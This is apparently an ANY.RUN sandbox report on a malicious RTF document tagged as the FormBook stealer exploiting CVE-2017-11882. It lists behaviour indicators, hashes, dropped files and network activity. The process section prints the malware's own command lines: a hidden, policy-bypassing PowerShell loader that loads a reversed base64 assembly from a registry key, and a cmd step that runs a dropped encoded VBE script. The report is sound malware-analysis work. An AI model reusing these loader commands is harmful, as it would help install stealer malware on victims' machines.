File name:

2edaf1d1ddd8c9176ea87a2f68648c25001d7913d423f717071a46fdf1d168a1

Full analysis: https://app.any.run/tasks/96d8aea8-fb6e-4332-be16-952f8e3b72bb
Verdict: Malicious activity
Threats:

FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus.

Malware Trends Tracker     >>>
Analysis date: April 29, 2025, 14:32:10
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
cve-2017-11882
auto
formbook
stealer
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
MD5:

85620E4BCD51A048350AB042CC7750C4

SHA1:

C707F769AD718C06E20FCF3A71D7AC5B902B3E5E

SHA256:

2EDAF1D1DDD8C9176EA87A2F68648C25001D7913D423F717071A46FDF1D168A1

SSDEEP:

1536:qsIY0tMyyzawq9hjclUZhgldxt92xRXj4I4jH4d9ulhRx49TI44U44on4eo424s+:qnc0W

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • STEALER has been found (auto)

      • WINWORD.EXE (PID: 2624)

    • Equation Editor starts application (likely CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2364)

    • Accesses environment variables (SCRIPT)

      • cscript.exe (PID: 2576)
      • wscript.exe (PID: 2872)

    • Gets %appdata% folder path (SCRIPT)

      • cscript.exe (PID: 2576)

    • Creates a new registry key or changes the value of an existing one (SCRIPT)

      • cscript.exe (PID: 2576)

    • Gets context to execute command-line operations (SCRIPT)

      • cscript.exe (PID: 2576)

    • Creates a new scheduled task (SCRIPT)

      • cscript.exe (PID: 2576)

    • Access Task Scheduler's settings (SCRIPT)

      • cscript.exe (PID: 2576)

    • Changes powershell execution policy (Bypass)

      • cscript.exe (PID: 2576)
      • wscript.exe (PID: 2872)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 2056)
      • powershell.exe (PID: 3256)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 2056)
      • powershell.exe (PID: 3256)

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 2872)

    • Gets %windir% folder path (SCRIPT)

      • wscript.exe (PID: 2872)

    • Reads the value of a key from the registry (SCRIPT)

      • wscript.exe (PID: 2872)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 2364)

    • Creates FileSystem object to access computer's file system (SCRIPT)

      • cscript.exe (PID: 2576)

    • Writes binary data to a Stream object (SCRIPT)

      • cscript.exe (PID: 2576)

    • Gets context to manipulate triggers of a scheduled task (SCRIPT)

      • cscript.exe (PID: 2576)

    • Gets a folder of registered tasks (SCRIPT)

      • cscript.exe (PID: 2576)

    • Gets context to manipulate scheduled tasks (SCRIPT)

      • cscript.exe (PID: 2576)

    • Accesses object representing scheduled task trigger (SCRIPT)

      • cscript.exe (PID: 2576)

    • Accesses Scheduled Task settings (SCRIPT)

      • cscript.exe (PID: 2576)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 2056)
      • powershell.exe (PID: 3256)

    • Gets scheduled task context (SCRIPT)

      • cscript.exe (PID: 2576)

    • Reads the Internet Settings

      • cscript.exe (PID: 2576)
      • wscript.exe (PID: 2872)

    • Runs shell command (SCRIPT)

      • cscript.exe (PID: 2576)
      • wscript.exe (PID: 2872)

    • Starts POWERSHELL.EXE for commands execution

      • cscript.exe (PID: 2576)
      • wscript.exe (PID: 2872)

    • Probably obfuscated PowerShell command line is found

      • cscript.exe (PID: 2576)
      • wscript.exe (PID: 2872)

    • The process executes via Task Scheduler

      • wscript.exe (PID: 2872)

    • Uses WMI to retrieve WMI-managed resources (SCRIPT)

      • wscript.exe (PID: 2872)

    • Executes WMI query (SCRIPT)

      • wscript.exe (PID: 2872)

  • INFO

    • Drops encrypted VBS script (Microsoft Script Encoder)

      • WINWORD.EXE (PID: 2624)

    • Reads the computer name

      • EQNEDT32.EXE (PID: 2364)

    • Checks supported languages

      • EQNEDT32.EXE (PID: 2364)
      • RegAsm.exe (PID: 3096)
      • RegAsm.exe (PID: 2980)

    • Reads the machine GUID from the registry

      • EQNEDT32.EXE (PID: 2364)

    • Creates files or folders in the user directory

      • cscript.exe (PID: 2576)

    • Reads security settings of Internet Explorer

      • cscript.exe (PID: 2576)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 2056)
      • powershell.exe (PID: 3256)

    • Checks current location (POWERSHELL)

      • powershell.exe (PID: 2056)
      • powershell.exe (PID: 3256)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)

EXIF

RTF

Author: Sean Morton
LastModifiedBy: Sean Morton
CreateDate: 2024:04:03 08:45:00
ModifyDate: 2024:04:03 08:46:00
RevisionNumber: 1
TotalEditTime: 1 minute
Pages: 1
Words: 3
Characters: 21
CharactersWithSpaces: 23
InternalVersionNumber: 85
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
50
Monitored processes
9
Malicious processes
5
Suspicious processes
2

Behavior graph

Click at the process to see the details
start #STEALER winword.exe no specs eqnedt32.exe cmd.exe no specs cscript.exe no specs powershell.exe no specs regasm.exe wscript.exe no specs powershell.exe no specs regasm.exe

Process information

PID
CMD
Path
Indicators
Parent process
1484CmD.exe /C cscript %tmp%\Client.vbe A CC:\Windows\System32\cmd.exe—EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2056"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\NTJKMIsonqGHPHN' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [b.b]::b('NTJKMIsonqGHPHN')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2364"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2576cscript C:\Users\admin\AppData\Local\Temp\Client.vbe A CC:\Windows\System32\cscript.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Console Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\cscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
2624"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n C:\Users\admin\AppData\Local\Temp\2edaf1d1ddd8c9176ea87a2f68648c25001d7913d423f717071a46fdf1d168a1.rtfC:\Program Files\Microsoft Office\Office14\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
2872C:\Windows\System32\WScript.exe "C:\Users\admin\AppData\Roaming\NTJKMIsonqGHPHN.vbs"C:\Windows\System32\wscript.exe—taskeng.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2980"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Assembly Registration Utility
Version:
4.8.3761.0 built by: NET48REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regasm.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\apppatch\acgenral.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sspicli.dll
3096"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Assembly Registration Utility
Exit code:
3221225477
Version:
4.8.3761.0 built by: NET48REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regasm.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\apppatch\acgenral.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sspicli.dll
3256"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\NTJKMIsonqGHPHN' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [b.b]::b('NTJKMIsonqGHPHN')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
8 113
Read events
7 235
Write events
639
Delete events
239

Modification events

(PID) Process:(2624) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
(PID) Process:(2624) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:ov!
Value:
6F762100400A0000010000000000000000000000
(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
Off
(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
Off
(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
Off
(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
Off
(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
Off
(PID) Process:(2624) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
Off
Executable files
0
Suspicious files
7
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
2624WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR265F.tmp.cvr —
MD5:—
SHA256:—
2624WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmbinary
MD5:E8EA58E7E3FF695037B1633B973926F3
SHA256:49E858447287AFEBB0CA8B175E72BC8681172CE147C9C834D3397DF6F2483125
2624WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Client.vbebinary
MD5:B5300317EB1F74865878DE733C05EFE3
SHA256:9FCB7F1E9AC540349E1E2545DBD3B38830B8B5FFAB18BFE55CA9AF074C0038B4
2624WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Client.vbe:Zone.Identifiertext
MD5:FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA256:EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
2624WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$daf1d1ddd8c9176ea87a2f68648c25001d7913d423f717071a46fdf1d168a1.rtfbinary
MD5:359329DC947E48C178E8EA5292411928
SHA256:BC20902FE6F97C00F72836DC6148BEAC1B054CE1CDBC669D9A59D6A30AD80AE8
2056powershell.exeC:\Users\admin\AppData\Local\Temp\sbcus0bg.h4o.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2056powershell.exeC:\Users\admin\AppData\Local\Temp\43114swg.zw2.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2576cscript.exeC:\Users\admin\AppData\Roaming\NTJKMIsonqGHPHN.vbstext
MD5:97DD7627AB74B1A843EDB5FB419D588F
SHA256:E6CAA5E6ABB758E9FF9E351D5BF1BFA1FE9238876B761839824F47DDE1CAE31A
3256powershell.exeC:\Users\admin\AppData\Local\Temp\fhor2yel.ohn.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
3256powershell.exeC:\Users\admin\AppData\Local\Temp\w2lads0p.ynk.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
5
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
224.0.0.252:5355
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.186.142
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
2edaf1d1ddd8c9176ea87a2f68648c25001d7913d423f717071a46fdf1d168a1